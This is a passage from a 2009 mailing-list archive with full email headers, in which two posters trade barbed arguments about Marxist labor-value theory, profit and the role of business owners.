X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: RADARSAT-1, GII, M-2 machine guns , AGS, Pantsir-C1 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4194 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 436 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > There is a maximum that customers will pay for a product. There is a > minimum pay that a laborer will be willing to accept to make the product. What's the minimum that a slave will accept..? > There are also expenses like parts, materials, a building, heat, electric, > insurance, etc. The difference between the sale price and the costs is the > business owner's pay. Do tell. > At 5:00 the laborer puts all thoughts of his work out of his mind Does he now. I assume he -- and his family -- have a full belly most of the day. > and goes home, but the business owner's work day is only half over. He must still > make major decisions into the night that will seriously affect his income. Richie Rich -- Poor Little Rich Boy, eh? Spare me the sob-story, Bubba. > Mistakes can be catastrophic. If the costs to produce the product are too high or > the price customers are willing to pay is too low, the business fails. Both the > owner and laborer are out of a job. The difference is that the laborer can collect > unemployment, but the owner cannot, even though he paid into unemployment > compensation. Plenty of laborers have no-or-little access to anything resembling unemployment insurance these days, fella -- something the neocon/fascists have worker hard at seeing-to. As for the bosses -- they always have their offshore accounts to fall back on, eh? Can't say the same thing for the corner grocery owner, however. > Of course, if the business is subsidized by the government, that changes > everything. You mean -- like the U.S. Military-Industrial Complex..? Or the Wall St. banksters? You know: the people who then "fund" (i.e. control) the research of hopeful fringe scientoids..? > If the price that the market will bear is less than the cost of providing the > product, the tax payer(you) make up the difference. In this way uneconomical > products come into existence such as wind turbines. If you knew anything about ekonomix, you'd know that no national bourgeoisie has become powerful and independent by not protecting its own industry and research and collectively-government-organized teknologikal development. Recent history is the story of the more powerful bourgeoisie -- i.e. the U.S. rulers -- forcing less- powerful bourgeoisie in other countries to their "free trade" will: and thus maintaining their own countries in a virtual state of capitalist-style feudal thralldom. And then insulting about it all, to boot -- with a chorus of nodding heads from the drooling clueless... (Ahem). > If the government owns and runs the business, then the bureaucratic manager > as well as the laborer quit at 5:00 and both put all thoughts of their work > out of their minds. The business is poorly run, but the bureaucrat doesn't > care because he gets the same pay whether or not the tax money is well spent > or wasted. And this is the essence of a government run economy. This is dimestore ekonomix. Worthless. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkocdqsACgkQXo3EtEYbt3EJSACfTwnnDAvMcps9iAtsuu0acwoI B8kAoI4Z7BAJJjK2Th1LMipwhrRa/7m+ =Os9V -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 16:11:59 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4QNBusk017149; Tue, 26 May 2009 16:11:56 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4QNBupO017139; Tue, 26 May 2009 16:11:56 -0700 Resent-Date: Tue, 26 May 2009 16:11:56 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 16:11:49 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090526231149.GD2707@shell.resist.ca> Reply-To: grok@resist.ca References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <63ffa6020905261545y16af421fu29b04ea186e89d27@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905261545y16af421fu29b04ea186e89d27@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: RADARSAT-1, GII, M-2 machine guns , AGS, Pantsir-C1 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4195 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 437 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Somehow, Jeff, in Marxism none of that hard work counts as labor. Somehow, Chuckie, the petit-bourgeoisie is full of eternal delusions as to the true nature of Reality. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkocdzUACgkQXo3EtEYbt3Hy1QCgieqGRB/+nZp3o2N/gyjVb2UK eucAoKsoJU8gND7Mms5+Dfuyfr1aHsjW =rmP7 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 16:15:17 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4QNFDsm021064; Tue, 26 May 2009 16:15:13 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4QNFCGC021045; Tue, 26 May 2009 16:15:12 -0700 Resent-Date: Tue, 26 May 2009 16:15:12 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=WgA4ICp8UdYx7nFe6XyrfYPyOHuD6Q51yyF0habJQGw=; b=EWxvYOcexppH916gAAwDjjH1REebXw80YgrdImFhFZCVzAUv9EZ4JaCGRxwI7ocqmf T83js+Zn0NwhM7nVbFmHGXW8tvYDYmgkqliemzZo21TIibtx2WhyBbCOM2dfpt+ug1W8 QohpkEYQE1s5FPmrSfYeoZZcapKeWpFidsOB0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=cNF4nB1FDACwYTkh79VVA9gmIe11audzeT35StxEOmFcAUE7kEpQHsrUVww9kpas14 bf1/kRkeS7cZ2cmFBjZ01f282SiwzCZBnA4G8qow5VQM9GovSg8C4PdWk/SHuTq64Oav IGvDBPbEK4YXgCEazYoMysaPjXms0g5FKw+j4= MIME-Version: 1.0 In-Reply-To: <20090526230931.GC2707@shell.resist.ca> References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> From: Charles HOPE Date: Tue, 26 May 2009 19:14:49 -0400 Message-ID: <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a736e32ab8046ad8e5cd Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4196 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 438 --001636c5a736e32ab8046ad8e5cd Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Right, because most workers in the advanced capitalist countries are practically starving. You are supposed to be able to prove your points using the plight of workers in those countries but you keep having to resor= t to the most desperate Third World situations instead, haha. On Tue, May 26, 2009 at 7:09 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > > > > > At 5:00 the laborer puts all thoughts of his work out of his mind > > Does he now. I assume he -- and his family -- have a full belly most of t= he > day. > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a736e32ab8046ad8e5cd Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Right, because most workers in the advanced capitalist countries are practi= cally starving.=A0 You are supposed to be able to prove your points using t= he plight of workers in those countries but you keep having to resort to th= e most desperate Third World situations instead, haha.



On Tue, May 26, 2009 at 7:09 PM, gro= k <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1





> At 5:00 the laborer puts all thoughts of his work out of his mind

Does he now. I assume he -- and his family -- have a full belly most = of the day.





--
Never did I s= ee a second sun
Never did my skin touch a land of glass
Never did my = rifle point but true
But in a land empty of enemies
Waiting for the t= ick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a736e32ab8046ad8e5cd-- From vortexb-l-request@eskimo.com Tue May 26 16:32:36 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4QNWYFq027854; Tue, 26 May 2009 16:32:34 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4QNWM4R027802; Tue, 26 May 2009 16:32:22 -0700 Resent-Date: Tue, 26 May 2009 16:32:22 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 16:32:02 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090526233202.GJ2707@shell.resist.ca> Reply-To: grok@resist.ca References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <20090526225409.GB2707@shell.resist.ca> <63ffa6020905261606n1cf4a27nf5049694233b936f@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905261606n1cf4a27nf5049694233b936f@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: RADARSAT-1, GII, M-2 machine guns , AGS, Pantsir-C1 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4197 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 439 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > You asked "how is profit to be made from > exchanging commodities at their value..? And the point very much is: IT > CANNOT BE > DONE. Which is where the **difference in value** of the commodity > _labor-power_, vs. > the value of its product -- _labor_, per se -- exactly comes in." > > But you can't discuss a value without introducing a valuer, and each valuer > values the commodity differently, which is where the difference in value > comes from. You keep attempting to introduce an objective value, like > discussing redness without anything that is red, so that you can falsely > argue that somebody is getting cheated. The difference between actual production value and final money price is well-covered under marxist theory -- and you can continue to deny this until the cows come home. Doesn't make it any less true, whatever your paid liars say and you believe. > And of course, when cornered, you simply evade everything and resort to side > topics and lashing out. Nyah, nyah, nyah-nyah, nyah!! Found me out!! OMFG!!! - -- grok the trixter. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoce/IACgkQXo3EtEYbt3EusQCg5aD89gnS2cHnpCKe+jzpX/Xp E8MAnA8q8X3g+UpppcCQAPSYMylLv2xU =8hPf -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 16:41:09 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4QNf6xs030996; Tue, 26 May 2009 16:41:06 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4QNf54E030982; Tue, 26 May 2009 16:41:05 -0700 Resent-Date: Tue, 26 May 2009 16:41:05 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 16:40:55 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090526234055.GK2707@shell.resist.ca> Reply-To: grok@resist.ca References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: RADARSAT-1, GII, M-2 machine guns , AGS, Pantsir-C1 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <6iHxOC.A.7jH.R4HHKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4198 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 440 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Right, because most workers in the advanced capitalist countries are > practically starving. Some actually ARE, for the first time. Some have been for a while. I suppose a philistine like yourself wants incontrovertible proof of that, or something. Not like you'd ever go find it for yourself: it's too easy to continue to believe the sweet, flattering lies instead. I understand food stamp use in the U.S. is at all-time record highs -- both in absolute and in relative terms. > You are supposed to be able to prove your points using the plight of workers in > those countries but you keep having to resort to the most desperate Third World > situations instead, haha. Typical of a philistone (Phred Philistone) -- especially a U.S. one -- to be only cognizant of his own parochial interests, to the exclusion of everything else. Even the most important things. In fact, *NO* analysis of Reality worx without it being based on the World situation, fella. I thought you scientoid types already KNEW that. Not to mention that we are supposed to CARE about our Fellow Man. Ain't that the Xian thing to do..? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkocfgcACgkQXo3EtEYbt3EVVwCgyXIZr+D0dLEoZ9+0kTBmahhp /XsAn2QZBWQxThU8sK+RY865E27PyFV8 =mb9b -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 16:58:46 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4QNwdqW012638; Tue, 26 May 2009 16:58:39 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4QNwc2l012590; Tue, 26 May 2009 16:58:38 -0700 Resent-Date: Tue, 26 May 2009 16:58:38 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=T5GBetwI/kEV36JHB7qypEFDISUgJktJqUKSg1MgmYk=; b=FsE70otNfS8uLL1+caKAlZ+ayomJ7mqLN7hohd9onsmH+aMs/X7y3qK2r7wO0Gnyd3 ajs3xKK4LMYYA1WRfxCGwybB1b5TX/1TLkUyzmQlrSEhrsD67jFf8TvQIzM8PjKD5opK 7noXMEEO96j7NlfHP6MFWRPJIKBNwUeYuuRSI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=hATwVKH2r/vuBzjBAIgp8Jp6oVRxQRYtSThu6l9MohmVuMVh2UtCxNsZ73NcsUi43N vcvmqEezpliq1Zp48jAm7kSBvcRUNouh2DLdOGcBF0Fqwrq7YzShyQsNa1aA0m+kIsMD Df0n2x4z8HjluTYSTPFs4LtqgsfcZyZC/NTb4= MIME-Version: 1.0 In-Reply-To: <20090526233202.GJ2707@shell.resist.ca> References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <20090526225409.GB2707@shell.resist.ca> <63ffa6020905261606n1cf4a27nf5049694233b936f@mail.gmail.com> <20090526233202.GJ2707@shell.resist.ca> From: Charles HOPE Date: Tue, 26 May 2009 19:58:16 -0400 Message-ID: <63ffa6020905261658s3ed4b0b3v64f19ff46c220183@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a84e47155f046ad98150 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4199 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 441 --001636c5a84e47155f046ad98150 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Final money price is quite obviously whatever the buyer will pay. On Tue, May 26, 2009 at 7:32 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > You asked "how is profit to be made from > > exchanging commodities at their value..? And the point very much is: IT > > CANNOT BE > > DONE. Which is where the **difference in value** of the commodity > > _labor-power_, vs. > > the value of its product -- _labor_, per se -- exactly comes in." > > > > But you can't discuss a value without introducing a valuer, and each > valuer > > values the commodity differently, which is where the difference in valu= e > > comes from. You keep attempting to introduce an objective value, like > > discussing redness without anything that is red, so that you can falsel= y > > argue that somebody is getting cheated. > > The difference between actual production value and final money price is > well-covered > under marxist theory -- and you can continue to deny this until the cows > come home. > Doesn't make it any less true, whatever your paid liars say and you > believe. > > > > > And of course, when cornered, you simply evade everything and resort to > side > > topics and lashing out. > > Nyah, nyah, nyah-nyah, nyah!! Found me out!! OMFG!!! > > - -- grok the trixter. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoce/IACgkQXo3EtEYbt3EusQCg5aD89gnS2cHnpCKe+jzpX/Xp > E8MAnA8q8X3g+UpppcCQAPSYMylLv2xU > =3D8hPf > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a84e47155f046ad98150 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Final money price is quite obviously whatever the buyer will pay.

On Tue, May 26, 2009 at 7:32 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> You asked "how is profit to be made from<= br> > exchanging commodities at their value..? And the point very much is: I= T
> CANNOT BE
> DONE. Which is where the **difference in value** of the commodity
> _labor-power_, vs.
> the value of its product -- _labor_, per se -- exactly comes in."=
>
> But you can't discuss a value without introducing a valuer, and ea= ch valuer
> values the commodity differently, which is where the difference in val= ue
> comes from. =A0You keep attempting to introduce an objective value, li= ke
> discussing redness without anything that is red, so that you can false= ly
> argue that somebody is getting cheated.

The difference between actual production value and final money price = is well-covered
under marxist theory -- and you can continue to deny this until the cows co= me home.
Doesn't make it any less true, whatever your paid liars say and you bel= ieve.



> And of course, when cornered, you simply evade everything and resort t= o side
> topics and lashing out.

Nyah, nyah, nyah-nyah, nyah!! Found me out!! OMFG!!!

- -- grok the trixter.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoce/IACgkQXo3EtEYbt3EusQCg5aD89gnS2cHnpCKe+jzpX/Xp
E8MAnA8q8X3g+UpppcCQAPSYMylLv2xU
=3D8hPf
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a84e47155f046ad98150-- From vortexb-l-request@eskimo.com Tue May 26 17:11:22 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4R0BAui010472; Tue, 26 May 2009 17:11:10 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4R0B81W010456; Tue, 26 May 2009 17:11:08 -0700 Resent-Date: Tue, 26 May 2009 17:11:08 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 17:11:02 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090527001102.GL2707@shell.resist.ca> Reply-To: grok@resist.ca References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <20090526225409.GB2707@shell.resist.ca> <63ffa6020905261606n1cf4a27nf5049694233b936f@mail.gmail.com> <20090526233202.GJ2707@shell.resist.ca> <63ffa6020905261658s3ed4b0b3v64f19ff46c220183@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905261658s3ed4b0b3v64f19ff46c220183@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: RADARSAT-1, GII, M-2 machine guns , AGS, Pantsir-C1 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4200 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 442 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Final money price is quite obviously whatever the buyer will pay. Which -- guess what? -- doesn't vary too far from its actual [social] cost of production. Which, of course, under capitalism, is a bit of a moving target... Assuming any number of things, as well. And so what do you think you are proving by saying this. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkochRYACgkQXo3EtEYbt3EYDQCgprIX9UeFXXL51pQPPZAOBkf9 E00AoJm+wZvsx016a9MHXsDEd9e8Dgo+ =xlJW -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 17:24:42 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4R0OY4L030161; Tue, 26 May 2009 17:24:34 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4R0OY1R030150; Tue, 26 May 2009 17:24:34 -0700 Resent-Date: Tue, 26 May 2009 17:24:34 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=10qacgYA37VTHHi4XwMbNxEkET1yZZU2zXimNSmCqGs=; b=Nqn+lBe8Lb5pTZQkgHEtkZzhOcENvdL4c74vL6iwWVsiATh+jhzIHGtMUDcIRxiqsG DuBGWQujMls+f4wdFab24G1ez/BLpAAmL7CfU/Y7lnRCqwcFacdfbX2ImfWIq2uQ4f88 8lkwDWwEIHIBfMJyd1ZlEycEFpHW85WQteVNI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=nmmcUBJRExsNPDT/WE5UkFPq5Xk99cjoWCUyTm59nUkK8BhklF24JxV++GDc+sz2u7 7PVyau1s1VNJZLvCG8SrDXwJTEY4lo03nlwM/lbvi032e7XU4M/9QgNTkLUD4HQ7+oT6 lzO7sFYM5O1guOMIUkrUjU8/9o51USGALm7E0= MIME-Version: 1.0 In-Reply-To: <20090527001102.GL2707@shell.resist.ca> References: <24627f24385a.24385a24627f@ncf.ca> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <20090526225409.GB2707@shell.resist.ca> <63ffa6020905261606n1cf4a27nf5049694233b936f@mail.gmail.com> <20090526233202.GJ2707@shell.resist.ca> <63ffa6020905261658s3ed4b0b3v64f19ff46c220183@mail.gmail.com> <20090527001102.GL2707@shell.resist.ca> From: Charles HOPE Date: Tue, 26 May 2009 20:24:13 -0400 Message-ID: <63ffa6020905261724h3ee10af7n8242fb172129dcf3@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a57b13d93a046ad9dee8 Resent-Message-ID: <1C1Jm.A.AXH.ChIHKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4201 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: 